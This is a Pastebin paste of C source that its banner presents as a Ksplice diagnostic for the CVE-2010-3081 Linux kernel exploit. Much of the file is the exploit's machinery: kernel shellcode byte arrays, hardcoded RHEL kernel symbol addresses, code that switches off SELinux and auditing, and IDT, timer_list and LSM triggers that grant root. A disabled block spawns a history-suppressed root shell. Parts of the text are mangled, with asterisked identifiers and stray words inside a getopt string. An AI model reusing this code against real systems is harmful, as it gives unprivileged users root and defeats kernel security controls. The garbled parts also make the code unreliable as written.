API tools faq
paste
aekaek

rootme2

aekaek
Jan 15th, 2018
117
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 21.88 KB | None | 0 0
raw download clone embed print report
  1. #include <poll.h>
  2. #include <string.h>
  3. #include <unistd.h>
  4. #include <sys/types.h>
  5. #include <stdlib.h>
  6. #include <sys/wait.h>
  7. #include <sys/uts****.h>
  8. #include <sys/socket.h>
  9. #include <sched.h>
  10. #include <netinet/in.h>
  11. #include <stdio.h>
  12. #include <sys/stat.h>
  13. #include <fcntl.h>
  14. #include <sys/mman.h>
  15. #include <sys/ipc.h>
  16. #include <sys/msg.h>
  17. #include <sys/resource.h>
  18. #include <errno.h>
  19.  
  20. #define _GNU_SOURCE
  21. #define __dgdhdytrg55 unsigned int
  22. #define __yyrhdgdtfs66ytgetrfd unsigned long long
  23. #define __dhdyetgdfstreg__ memcpy
  24. #define BANNER "Diagnostic tool for public CVE-2010-3081 exploit -- Ksplice, Inc.\n" \
  25. "(see http://www.ksplice.com/uptrack/cve-2010-3081)\n" \
  26. "\n"
  27. #define KALLSYMS "/proc/kallsyms"
  28. #define TMAGIC_66TDFDRTS "/proc/timer_list"
  29. #define SELINUX_PATH "/selinux/enforce"
  30. #define RW_FOPS "timer_list_fops"
  31. #define PER_C_DHHDYDGTREM7765 "per_cpu__current_task"
  32. #define PREPARE_GGDTSGFSRFSD "prepare_creds"
  33. #define OVERRIDE_GGDTSGFSRFSD "override_creds"
  34. #define REVERT_DHDGTRRTEFDTD "revert_creds"
  35. #define Y0Y0SMAP 0x100000UL
  36. #define Y0Y0CMAP 0x200000UL
  37. #define Y0Y0STOP (Y0Y0SMAP+0xFFC)
  38. #define J0J0S 0x00200000UL
  39. #define J0J0R00T 0x002000F0UL
  40. #define PAGE_SIZE 0x1000
  41. #define KERN_DHHDYTMLADSFPYT 0x1
  42. #define KERN_DGGDYDTEGGETFDRLAK 0x2
  43. #define KERN_HHSYPPLORQTWGFD 0x4
  44.  
  45. #define KERN_DIS_GGDYYTDFFACVFD_IDT 0x8
  46. #define KERN_DIS_DGDGHHYTTFSR34353_FOPS 0x10
  47. #define KERN_DIS_GGDHHDYQEEWR4432PPOI_LSM 0x20
  48. #define KERN_DIS_GGSTEYGDTREFRET_SEL1NUX 0x40
  49. #define isRHHGDPPLADSF(ver) (strstr(ver, ".el4") || strstr(ver,".el5"))
  50. #define __gggdfstsgdt_dddex(f, a...) do { fprintf(stdout, f, ## a); } while(0)
  51. #define __pppp_tegddewyfg(s) do { fprintf(stdout, "%s", s); } while(0)
  52. /* #define __print_verbose(s) do { fprintf(stdout, "%s", s); } while(0) */
  53. #define __print_verbose(s) do { } while (0)
  54. #define __xxxfdgftr_hshsgdt(s) do { perror(s); exit(-1); } while(0)
  55. #define __yyy_tegdtfsrer(s) do { fprintf(stderr, s); exit(-1); } while(0)
  56. static char buffer[1024];
  57. static int s;
  58. static int flags=0;
  59. volatile static socklen_t magiclen=0;
  60. static int useidt=1, usefops=0, uselsm=0;
  61. static __yyrhdgdtfs66ytgetrfd _m_fops=0,_m_cred[3] = {0,0,0};
  62. static __dgdhdytrg55 _m_cpu_off=0;
  63. static char krelease[64];
  64. static char kversion[128];
  65. #define R0C_0FF 14
  66. static char ttrg0ccc[]=
  67. "\x51\x57\x53\x56\x48\x31\xc9\x48\x89\xf8\x48\x31\ xf6\xbe\x41\x41\x41\x41"
  68. "\x3b\x30\x75\x1f\x3b\x70\x04\x75\x1a\x3b\x70\x08\ x75\x15\x3b\x70\x0c"
  69. "\x75\x10\x48\x31\xdb\x89\x18\x89\x58\x04\x89\x58\ x08\x89\x58\x0c\xeb\x11"
  70. "\x48\xff\xc0\x48\xff\xc1\x48\x81\xf9\x4c\x04\x00\ x00\x74\x02"
  71. "\xeb\xcc\x5e\x5b\x5f\x59\xc3";
  72.  
  73. #define R0YTTTTUHLFSTT_OFF1 5
  74. #define R0YGGSFDARTDF_DHDYTEGRDFD_D 21
  75. #define R0TDGFSRSLLSJ_SHSYSTGD 45
  76. char r1ngrrrrrrr[]=
  77. "\x53\x52\x57\x48\xbb\x41\x41\x41\x41\x41\x41\x41\ x41\xff\xd3"
  78. "\x50\x48\x89\xc7\x48\xbb\x42\x42\x42\x42\x42\x42\ x42\x42"
  79. "\xff\xd3\x48\x31\xd2\x89\x50\x04\x89\x50\x14\x48\ x89\xc7"
  80. "\x48\xbb\x43\x43\x43\x43\x43\x43\x43\x43"
  81. "\xff\xd3\x5f\x5f\x5a\x5b\xc3";
  82.  
  83. #define RJMPDDTGR_OFF 13
  84. #define RJMPDDTGR_DHDYTGSCAVSF 7
  85. #define RJMPDDTGR_GDTDGTSFRDFT 25
  86. static char ttrfd0[]=
  87. "\x57\x50\x65\x48\x8b\x3c\x25\x00\x00\x00\x00"
  88. "\x48\xb8\x41\x41\x41\x41\x41\x41\x41\x41\xff\ xd0"
  89. "\x58\x5f"
  90. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  91. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  92. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  93. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  94. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  95. "\xc3";
  96.  
  97. /* implement selinux bypass for IDT ! */
  98. #define RJMPDDTGR_OFF_IDT 14
  99. #define RJMPDDTGR_DYHHTSFDARE 8
  100. #define RJMPDDTGR_DHDYSGTSFDRTAC_SE 27
  101. static char ruujhdbgatrfe345[]=
  102. "\x0f\x01\xf8\x65\x48\x8b\x3c\x25\x00\x00\x00\ x00"
  103. "\x48\xb8\x41\x41\x41\x41\x41\x41\x41\x41\xff\ xd0"
  104. "\x0f\x01\xf8"
  105. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  106. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  107. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  108. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  109. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  110. "\x48\xcf";
  111.  
  112. #define CJE_4554TFFDTRMAJHD_OFF 10
  113. #define RJMPDDTGR_AYYYDGTREFCCV7761_OF 23
  114. static char dis4blens4sel1nuxhayettgdr64545[]=
  115. "\x41\x52\x50"
  116. "\xb8\x00\x00\x00\x00"
  117. "\x49\xba\x41\x41\x41\x41\x41\x41\x41\x41"
  118. "\x41\x89\x02"
  119. "\x49\xba\x42\x42\x42\x42\x42\x42\x42\x42"
  120. "\x41\x89\x02"
  121. "\x58\x41\x5a";
  122.  
  123. /* rhel LSM stuffs */
  124. #define RHEL_LSM_OFF 98
  125. struct LSM_rhel
  126. {
  127. __yyrhdgdtfs66ytgetrfd selinux_ops;
  128. __yyrhdgdtfs66ytgetrfd capability_ops;
  129. __yyrhdgdtfs66ytgetrfd dummy_security_ops;
  130. __yyrhdgdtfs66ytgetrfd selinux_enforcing;
  131. __yyrhdgdtfs66ytgetrfd audit_enabled;
  132. const char *krelease;
  133. const char *kversion;
  134.  
  135. };
  136. struct LSM_rhel known_targets[4]=
  137. {
  138. {
  139. 0xffffffff8031e600ULL,
  140. 0xffffffff8031fec0ULL,
  141. 0xffffffff804acc00ULL,
  142. 0xffffffff804af960ULL,
  143. 0xffffffff8049b124ULL,
  144. "2.6.18-164.el5",
  145. "#1 SMP Thu Sep 3 03:28:30 EDT 2009" // to manage minor/bug fix changes
  146. },
  147. {
  148. 0xffffffff8031f600ULL,
  149. 0xffffffff80320ec0ULL,
  150. 0xffffffff804afc00ULL,
  151. 0xffffffff804b2960ULL,
  152. 0xffffffff8049e124ULL,
  153. "2.6.18-164.11.1.el5",
  154. "#1 SMP Wed Jan 6 13:26:04 EST 2010"
  155. },
  156. {
  157. 0xffffffff805296a0ULL,
  158. 0xffffffff8052af60ULL,
  159. 0xffffffff806db1e0ULL,
  160. 0xffffffff806ddf40ULL,
  161. 0xffffffff806d5324ULL,
  162. "2.6.18-164.11.1.el5xen",
  163. "#1 SMP Wed Jan 20 08:06:04 EST 2010" // default xen
  164. },
  165. {
  166. 0xffffffff8031f600ULL,// d selinux_ops
  167. 0xffffffff80320ec0ULL,// d capability_ops
  168. 0xffffffff804afc00ULL,// B dummy_security_ops
  169. 0xffffffff804b2960ULL,// B selinux_enforcing
  170. 0xffffffff8049e124ULL,// B audit_enabled
  171. "2.6.18-164.11.1.el5",
  172. "#1 SMP Wed Jan 20 07:32:21 EST 2010" // tripwire target LoL
  173. }
  174. };
  175. static struct LSM_rhel *curr_target=NULL, dyn4nt4n1labeggeyrthryt;
  176. static int isSelinuxEnabled()
  177. {
  178. FILE *selinux_f;
  179. selinux_f = fopen(SELINUX_PATH, "r");
  180. if(selinux_f == NULL)
  181. {
  182. if(errno == EPERM)
  183. return 1;
  184. else
  185. return 0;
  186. }
  187. fclose(selinux_f);
  188. return 1;
  189. }
  190. static int wtfyourunhere_heee(char *out_release, char* out_version)
  191. {
  192. int ret; const char*ptr;
  193. int count=0;
  194. char r[32], *bptr;
  195. struct uts**** buf;
  196. ret = u****(&buf);
  197. if(ret < 0)
  198. return -1;
  199.  
  200. strcpy(out_release, buf.release);
  201. strcpy(out_version, buf.version);
  202. ptr = buf.release;
  203. bptr = r;
  204. memset(r, 0x00, sizeof(r));
  205. while(*ptr)
  206. {
  207. if(count == 2)
  208. {
  209. if(*ptr >= '0' && *ptr <= '9')
  210. *bptr++ = *ptr;
  211. else
  212. break;
  213. }
  214.  
  215. if(*ptr == '.')
  216. count++;
  217. ptr++;
  218. }
  219. if(strlen(r) < 1 || !atoi(r))
  220. return -1;
  221. return atoi(r);
  222. }
  223.  
  224. static void p4tch_sel1nux_codztegfaddczda(struct LSM_rhel *table)
  225. {
  226. *((__yyrhdgdtfs66ytgetrfd *)(dis4blens4sel1nuxhayettgdr64545 + CJE_4554TFFDTRMAJHD_OFF)) = table->selinux_enforcing;
  227. *((__yyrhdgdtfs66ytgetrfd *)(dis4blens4sel1nuxhayettgdr64545 + RJMPDDTGR_AYYYDGTREFCCV7761_OF)) = table->audit_enabled;
  228. __dhdyetgdfstreg__(ttrfd0 + RJMPDDTGR_GDTDGTSFRDFT, dis4blens4sel1nuxhayettgdr64545, sizeof(dis4blens4sel1nuxhayettgdr64545)-1);
  229. __dhdyetgdfstreg__(ruujhdbgatrfe345 + RJMPDDTGR_DHDYSGTSFDRTAC_SE, dis4blens4sel1nuxhayettgdr64545, sizeof(dis4blens4sel1nuxhayettgdr64545)-1);
  230. }
  231.  
  232. static __yyrhdgdtfs66ytgetrfd get_sym_ex(const char* s, const char* file****, int ignore_flag)
  233. {
  234. FILE *ka;
  235. char line[512];
  236. char reloc_a[64];
  237. char reloc[64];
  238. if(!(flags & KERN_HHSYPPLORQTWGFD) && !ignore_flag)
  239. return 0;
  240.  
  241. ka = fopen(file****, "r");
  242. if(!ka)
  243. return 0;
  244. while(fgets(line, 512, ka) != NULL)
  245. {
  246. char *l_p = line;
  247. char *ra_p = reloc_a;
  248. char *r_p = reloc;
  249. memset(reloc, 0x00, sizeof(reloc));
  250. memset(reloc_a, 0x00, sizeof(reloc_a));
  251. while(*l_p != ' ' && (ra_p - reloc_a) < 64)
  252. *ra_p++ = *l_p++;
  253. l_p += 3;
  254. while(*l_p != ' ' && *l_p != '\n' && *l_p != '\t' && (r_p - reloc) < 64)
  255. *r_p++ = *l_p++;
  256. if(!strcmp(reloc, s))
  257. {
  258. return strtoull(reloc_a, NULL, 16);
  259. }
  260. }
  261. return 0;
  262. }
  263.  
  264. static inline __yyrhdgdtfs66ytgetrfd get_sym(const char* s)
  265. {
  266. return get_sym_ex(s, KALLSYMS, 0);
  267. }
  268. static int parse_cred(const char* val)
  269. {
  270. int i=0;
  271. const char* p = val;
  272. char local[64], *l;
  273. for(i=0; i<3; i++)
  274. {
  275. memset(local, 0x00, sizeof(local));
  276. l = local;
  277. while(*p && *p != ',')
  278. *l++ = *p++;
  279. if(!(*p) && i != 2)
  280. return -1;
  281. _m_cred[i] = strtoull(local, NULL, 16);
  282. p++;
  283. }
  284.  
  285. return 0;
  286. }
  287.  
  288. #define SELINUX_OPS "selinux_ops"
  289. #define DUMMY_SECURITY_OPS "dummy_security_ops"
  290. #define CAPABILITY_OPS "capability_ops"
  291. #define SELINUX_ENFORCING "selinux_enforcing"
  292. #define AUDIT_ENABLED "audit_enabled"
  293. struct LSM_rhel *lsm_rhel_find_target(int check_rhel)
  294. {
  295. int i;
  296. char mapbuf[128];
  297. struct LSM_rhel *lsm = &(known_targets[0]);
  298. if(check_rhel && !isRHHGDPPLADSF(krelease))
  299. {
  300. __pppp_tegddewyfg("!!! Not a RHEL kernel, will skip LSM method \n");
  301. return NULL;
  302. }
  303. __print_verbose("$$$ Looking for known RHEL kernels.. \n");
  304. for(i=0; i<sizeof(known_targets)/sizeof(struct LSM_rhel); i++, lsm++)
  305. {
  306. if(!strcmp(krelease, lsm->krelease) && !strcmp(kversion, lsm->kversion))
  307. {
  308. __gggdfstsgdt_dddex("$$$ Known target kernel: %s %s \n", lsm->krelease, lsm->kversion);
  309. return lsm;
  310. }
  311. }
  312. __print_verbose("$$$ Locating symbols for new target...\n");
  313. strcpy(mapbuf, "/boot/System.map-");
  314. strcat(mapbuf, krelease);
  315. dyn4nt4n1labeggeyrthryt.selinux_ops = get_sym_ex(SELINUX_OPS, mapbuf, 1);
  316. dyn4nt4n1labeggeyrthryt.dummy_security_ops = get_sym_ex(DUMMY_SECURITY_OPS, mapbuf, 1);
  317. dyn4nt4n1labeggeyrthryt.capability_ops = get_sym_ex(CAPABILITY_OPS, mapbuf, 1);
  318. dyn4nt4n1labeggeyrthryt.selinux_enforcing = get_sym_ex(SELINUX_ENFORCING, mapbuf, 1);
  319. dyn4nt4n1labeggeyrthryt.audit_enabled = get_sym_ex(AUDIT_ENABLED, mapbuf, 1);
  320.  
  321. if(!dyn4nt4n1labeggeyrthryt.selinux_ops ||
  322. !dyn4nt4n1labeggeyrthryt.dummy_security_ops ||
  323. !dyn4nt4n1labeggeyrthryt.capability_ops ||
  324. !dyn4nt4n1labeggeyrthryt.selinux_enforcing ||
  325. !dyn4nt4n1labeggeyrthryt.audit_enabled)
  326. return NULL;
  327.  
  328. return &dyn4nt4n1labeggeyrthryt;
  329. }
  330. void error_no_symbol(const char *symbol)
  331. {
  332. fprintf(stderr,
  333. "!!! Could not find symbol: %s\n"
  334. "\n"
  335. "A symbol required by the published exploit for CVE-2010-3081 is not\n"
  336. "provided by your kernel. The exploit would not work on your system.\n",
  337. symbol);
  338. exit(-1);
  339. }
  340. static void put_your_hands_up_hooker(int argc, char *argv[])
  341. {
  342. int fd,ver,ret;
  343. char __b[16];
  344.  
  345. fd = open(KALLSYMS, O_RDONLY);
  346. ret = read(fd, __b, 16); // dummy read
  347. if((fd >= 0 && ret > 0))
  348. {
  349. __print_verbose("$$$ can read /proc/kallsyms, will use for convenience\n"); // d0nt p4tch m3 br0
  350. flags |= KERN_HHSYPPLORQTWGFD;
  351. }
  352. close(fd);
  353. ver = wtfyourunhere_heee(krelease, kversion);
  354. if(ver < 0)
  355. __yyy_tegdtfsrer("!!! u**** failed\n");
  356. __gggdfstsgdt_dddex("$$$ Kernel release: %s\n", krelease);
  357.  
  358. if(argc != 1)
  359. {
  360. while( (ret = getopt(argc, argv, "sflc:kCant See Images:")) > 0)
  361. {
  362. switch(ret)
  363. {
  364. case 'f':
  365. flags |= KERN_DIS_GGDHHDYQEEWR4432PPOI_LSM|KERN_DIS_GGDYYTD FFACVFD_IDT;
  366. break;
  367.  
  368. case 'l':
  369. flags |= KERN_DIS_GGDYYTDFFACVFD_IDT|KERN_DIS_DGDGHHYTTFSR3 4353_FOPS;
  370. break;
  371. case 'c':
  372. if(!optarg || parse_cred(optarg) < 0)
  373. __yyy_tegdtfsrer("!!! Unable to parse cred codes\n");
  374. break;
  375. case 'k':
  376. if(optarg)
  377. _m_fops = strtoull(optarg, NULL, 16);
  378. else
  379. __yyy_tegdtfsrer("!!! Unable to parse fops numbers\n");
  380. break;
  381. case 's':
  382. if(!isSelinuxEnabled())
  383. __pppp_tegddewyfg("??? -s ignored: SELinux not enabled\n");
  384. else
  385. flags |= KERN_DIS_GGSTEYGDTREFRET_SEL1NUX;
  386. break;
  387.  
  388. case 'o':
  389. if(optarg)
  390. _m_cpu_off = strtoull(optarg, NULL, 16);
  391. else
  392. __yyy_tegdtfsrer("!!! Unable to parse cpu_off numbers\n");
  393. break;
  394. }
  395. }
  396. }
  397.  
  398. if(ver >= 29) // needs cred structure
  399. {
  400. flags |= KERN_DGGDYDTEGGETFDRLAK;
  401.  
  402. if(!_m_cred[0] || !_m_cred[1] || !_m_cred[2])
  403. {
  404. _m_cred[0] = get_sym(PREPARE_GGDTSGFSRFSD);
  405. _m_cred[1] = get_sym(OVERRIDE_GGDTSGFSRFSD);
  406. _m_cred[2] = get_sym(REVERT_DHDGTRRTEFDTD);
  407. }
  408. if(!_m_cred[0])
  409. error_no_symbol("prepare_creds");
  410. if(!_m_cred[1])
  411. error_no_symbol("override_creds");
  412. if(!_m_cred[2])
  413. error_no_symbol("revert_creds");
  414.  
  415. __print_verbose("$$$ Kernel credentials detected\n");
  416. *((__yyrhdgdtfs66ytgetrfd *)(r1ngrrrrrrr + R0YTTTTUHLFSTT_OFF1)) = _m_cred[0];
  417. *((__yyrhdgdtfs66ytgetrfd *)(r1ngrrrrrrr + R0YGGSFDARTDF_DHDYTEGRDFD_D)) = _m_cred[1];
  418. *((__yyrhdgdtfs66ytgetrfd *)(r1ngrrrrrrr + R0TDGFSRSLLSJ_SHSYSTGD)) = _m_cred[2];
  419. }
  420. if(ver >= 30) // needs cpu offset
  421. {
  422. flags |= KERN_DHHDYTMLADSFPYT;
  423. if(!_m_cpu_off)
  424. _m_cpu_off = (__dgdhdytrg55)get_sym(PER_C_DHHDYDGTREM7765);
  425. if(!_m_cpu_off)
  426. error_no_symbol("per_cpu__current_task");
  427. __print_verbose("$$$ Kernel per_cpu relocs enabled\n");
  428. *((__dgdhdytrg55 *)(ttrfd0 + RJMPDDTGR_DHDYTGSCAVSF)) = _m_cpu_off;
  429. *((__dgdhdytrg55 *)(ruujhdbgatrfe345 + RJMPDDTGR_DYHHTSFDARE)) = _m_cpu_off;
  430. }
  431. }
  432.  
  433. static void env_prepare(int argc, char* argv[])
  434. {
  435. put_your_hands_up_hooker(argc, argv);
  436. if(!(flags & KERN_DIS_DGDGHHYTTFSR34353_FOPS)) // try fops
  437. {
  438. __print_verbose("??? Trying the timer_list_fops method\n");
  439. if(!_m_fops)
  440. _m_fops = get_sym(RW_FOPS);
  441. /* TODO: do RW check for newer -mm kernels which has timer_list_struct RO
  442. * Thanks to the guy who killed this vector... you know who you areCant See Images
  443. * Lucky for you, there are moreCant See Images
  444. */
  445. if(_m_fops)
  446. {
  447. usefops=1;
  448. }
  449. }
  450.  
  451. if(!(flags & KERN_DIS_GGDHHDYQEEWR4432PPOI_LSM)) // try lsm(rhel)
  452. {
  453. __print_verbose("??? Trying the LSM method\n");
  454. curr_target = lsm_rhel_find_target(1);
  455. if(!curr_target)
  456. {
  457. __print_verbose("!!! Unable to find target for LSM method\n");
  458. }
  459. else {
  460. uselsm=1;
  461. }
  462. }
  463.  
  464. if(useidt && (flags & KERN_DIS_GGSTEYGDTREFRET_SEL1NUX))
  465. {
  466. // -i flag
  467. curr_target = lsm_rhel_find_target(0);
  468. if(!curr_target)
  469. {
  470. __pppp_tegddewyfg("!!! Unable to find target: continue without SELinux disabled\n");
  471. /* remove Selinux Flag */
  472. flags &= ~KERN_DIS_GGSTEYGDTREFRET_SEL1NUX;
  473. }
  474. }
  475.  
  476. if(!usefops && !useidt && !uselsm)
  477. __yyy_tegdtfsrer("!!! All exploit methods failed.\n");
  478. }
  479.  
  480. static inline int get_socklen(__yyrhdgdtfs66ytgetrfd addr, __dgdhdytrg55 stack)
  481. {
  482. int socklen_l = 8 + stack - addr - 16;
  483. return socklen_l;
  484. }
  485.  
  486. static void __setmcbuffer(__dgdhdytrg55 value)
  487. {
  488. int i;
  489. __dgdhdytrg55 *p = (__dgdhdytrg55*)buffer;
  490. for(i=0; i<sizeof(buffer)/sizeof(void*); i++)
  491. *(p+i) = value;
  492. }
  493.  
  494. static void y0y0stack()
  495. {
  496. void* map = mmap((void*)Y0Y0SMAP,
  497. PAGE_SIZE,
  498. PROT_READ|PROT_WRITE,
  499. MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED,
  500. -1,0);
  501. if(MAP_FAILED == map)
  502. __xxxfdgftr_hshsgdt("mmap");
  503. }
  504. static void y0y0code()
  505. {
  506. void* map = mmap((void*)Y0Y0CMAP,
  507. PAGE_SIZE,
  508. #ifdef TRY_REMAP_DEFAULT
  509. PROT_READ|PROT_WRITE,
  510. #else
  511. PROT_READ|PROT_WRITE|PROT_EXEC,
  512. #endif
  513. MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED,
  514. -1,0);
  515. if(MAP_FAILED == map)
  516. __xxxfdgftr_hshsgdt("mmap");
  517. }
  518.  
  519. static int rey0y0code(unsigned long old)
  520. {
  521. int fd;
  522. void *map;
  523. volatile char wizard;
  524. char cwd[1024];
  525. getcwd(cwd, sizeof(cwd));
  526. strcat(cwd, "/__tmpfile");
  527.  
  528. unlink(cwd);
  529. fd = open(cwd, O_RDWR|O_CREAT, S_IRWXU);
  530. if(fd < 0)
  531. return -1;
  532. write(fd, (const void*)old, PAGE_SIZE);
  533. if(munmap((void*)old, PAGE_SIZE) < 0)
  534. return -1;
  535. map = mmap((void*)old,
  536. PAGE_SIZE,
  537. PROT_READ|PROT_EXEC,
  538. MAP_PRIVATE|MAP_FIXED,
  539. fd,0);
  540. if(map == MAP_FAILED)
  541. return -1;
  542.  
  543. /* avoid lazy page fault handler
  544. * Triple Fault when using idt vector
  545. * and no pages are already mappedCant See Images
  546. */
  547. wizard = *((char*)old);
  548. unlink(cwd);
  549. return wizard;
  550. }
  551. void finish_shellcode()
  552. {
  553. /* set shellcode level 2 */
  554. if(flags & KERN_DGGDYDTEGGETFDRLAK)
  555. {
  556. __print_verbose("$$$ Using cred shellcode\n");
  557. __dhdyetgdfstreg__((void*)J0J0R00T, r1ngrrrrrrr, sizeof(r1ngrrrrrrr));
  558. }
  559. else
  560. {
  561. __print_verbose("$$$ Using standard shellcode\n");
  562. __dhdyetgdfstreg__((void*)J0J0R00T, ttrg0ccc, sizeof(ttrg0ccc));
  563. *((unsigned int*)(J0J0R00T + R0C_0FF)) = getuid();
  564. }
  565. #ifdef TRY_REMAP_DEFAULT
  566. if(rey0y0code(Y0Y0CMAP) < 0)
  567. __yyy_tegdtfsrer("!!! Unable to remap\n");
  568. #endif
  569. }
  570. int method_idt_main()
  571. {
  572. __yyrhdgdtfs66ytgetrfd *patch;
  573. __print_verbose("$$$ Building shellcode - IDT method\n");
  574. patch = (__yyrhdgdtfs66ytgetrfd*)(ruujhdbgatrfe345 + RJMPDDTGR_OFF_IDT);
  575. *patch = (__yyrhdgdtfs66ytgetrfd)(J0J0R00T);
  576. if(flags & KERN_DIS_GGSTEYGDTREFRET_SEL1NUX)
  577. {
  578. __print_verbose("$$$ including code to disable SELinux\n");
  579. p4tch_sel1nux_codztegfaddczda(curr_target);
  580. }
  581.  
  582. __dhdyetgdfstreg__((void*)J0J0S, ruujhdbgatrfe345, sizeof(ruujhdbgatrfe345));
  583. finish_shellcode();
  584. asm volatile("int $0xdd\t\n");
  585. return (getuid() == 0);
  586. }
  587. int method_idt()
  588. {
  589. /* method_idt_main() crashes if no backdoor is present, so protect ourselves */
  590. int pid;
  591. pid = fork();
  592. if (pid < 0) {
  593. __xxxfdgftr_hshsgdt("!!! fork() failed");
  594. return 0; // error
  595. }
  596. if (pid == 0) {
  597. int r;
  598. struct rlimit rlim = {0, 0};
  599. setrlimit(RLIMIT_CORE, &rlim);
  600. r = method_idt_main();
  601. exit(r ? 0 : 1);
  602. }
  603. int status;
  604. waitpid(pid, &status, 0);
  605. if (status == 0)
  606. return method_idt_main();
  607. else
  608. return 0;
  609. }
  610. void prepare_fops_lsm_shellcode()
  611. {
  612. __yyrhdgdtfs66ytgetrfd *patch;
  613. __print_verbose("$$$ Building shellcode - fops/LSM method\n");
  614. patch = (__yyrhdgdtfs66ytgetrfd*)(ttrfd0 + RJMPDDTGR_OFF);
  615. *patch = (__yyrhdgdtfs66ytgetrfd)(J0J0R00T);
  616. __setmcbuffer(J0J0S);
  617. if(uselsm && (flags & KERN_DIS_GGSTEYGDTREFRET_SEL1NUX))
  618. {
  619. __print_verbose("$$$ including code to disable SELinux\n");
  620. p4tch_sel1nux_codztegfaddczda(curr_target);
  621. }
  622. __dhdyetgdfstreg__((void*)J0J0S, ttrfd0, sizeof(ttrfd0));
  623. finish_shellcode();
  624. }
  625. int method_fops()
  626. {
  627. int fd;
  628. struct pollfd pfd;
  629. prepare_fops_lsm_shellcode();
  630. fd = open(TMAGIC_66TDFDRTS, O_RDONLY);
  631. if(fd < 0)
  632. __xxxfdgftr_hshsgdt("!!! could not open /proc/timer_list");
  633.  
  634. pfd.fd = fd;
  635. pfd.events = POLLIN | POLLOUT;
  636. poll(&pfd, 1, 0);
  637. return (getuid() == 0);
  638. }
  639. int method_lsm()
  640. {
  641. int msqid;
  642. prepare_fops_lsm_shellcode();
  643. msqid = msgget(0, IPC_PRIVATE|0600);
  644. if(msqid < 0)
  645. __xxxfdgftr_hshsgdt("!!! msgget() failed");
  646. msgctl(msqid, IPC_RMID, (struct msqid_ds *) NULL); // exploit it
  647. return (getuid() == 0);
  648. }
  649. int main(int argc, char*argv[])
  650. {
  651. int done;
  652. printf(BANNER);
  653. if (getuid() == 0) {
  654. fprintf(stderr, "!!! Must run as non-root.\n");
  655. return 1;
  656. }
  657. env_prepare(argc, argv);
  658. y0y0stack();
  659. y0y0code();
  660. done = 0;
  661. __pppp_tegddewyfg("$$$ Backdoor in LSM (1/3): ");
  662. if (uselsm) {
  663. __pppp_tegddewyfg("checking...");
  664. done = method_lsm();
  665. if (done)
  666. __pppp_tegddewyfg("PRESENT\n");
  667. else
  668. __pppp_tegddewyfg("not present.\n");
  669. } else {
  670. __pppp_tegddewyfg("not available.\n");
  671. }
  672. if (!done) {
  673. __pppp_tegddewyfg("$$$ Backdoor in timer_list_fops (2/3): ");
  674. if (usefops) {
  675. __pppp_tegddewyfg("checking...");
  676. done = method_fops();
  677. if (done)
  678. __pppp_tegddewyfg("PRESENT\n");
  679. else
  680. __pppp_tegddewyfg("not present.\n");
  681. } else {
  682. __pppp_tegddewyfg("not available.\n");
  683. }
  684. }
  685. if (!done) {
  686. __pppp_tegddewyfg("$$$ Backdoor in IDT (3/3): ");
  687. if (useidt) {
  688. __pppp_tegddewyfg("checking...");
  689. fflush(stdout);
  690. done = method_idt();
  691. if (done)
  692. __pppp_tegddewyfg("PRESENT\n");
  693. else
  694. __pppp_tegddewyfg("not present.\n");
  695. } else {
  696. __pppp_tegddewyfg("NOT CHECKING\n");
  697. }
  698. }
  699. munmap((void*)Y0Y0CMAP, PAGE_SIZE);
  700. /* exec */
  701. if(getuid() == 0)
  702. {
  703. pid_t pid;
  704. printf("\n"
  705. "Your in-memory kernel HAS A BACKDOOR that may have been left\n"
  706. "by the published exploit for CVE-2010-3081.\n"
  707. "\n"
  708. "More information is available at\n"
  709. " http://www.ksplice.com/uptrack/cve-2010-3081\n"
  710. );
  711. if (0) {
  712. /* spawn root shell as demonstration */
  713. pid = fork();
  714. if(pid == 0)
  715. {
  716. char *args[] = {"/bin/sh", "-i", NULL};
  717. char *envp[] = {"TERM=linux", "BASH_HISTORY=/dev/null", "HISTORY=/dev/null", "history=/dev/null", "HISTFILE=/dev/null", "HISTFILESIZE=0",
  718. "PATH=/bin:/sbin:/usr/sbin:/usr/bin:/usr/local/bin:/usr/local/sbin", NULL };
  719. execve("/bin/sh", args, envp);
  720. }
  721. else
  722. {
  723. int status;
  724. waitpid(pid, &status, 0);
  725. }
  726. }
  727. }
  728. else {
  729. printf("\n"
  730. "Your system is free from the backdoors that would be left in memory\n"
  731. "by the published exploit for CVE-2010-3081.\n");
  732. }
  733. close(s);
  734. return 0;
  735. }
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!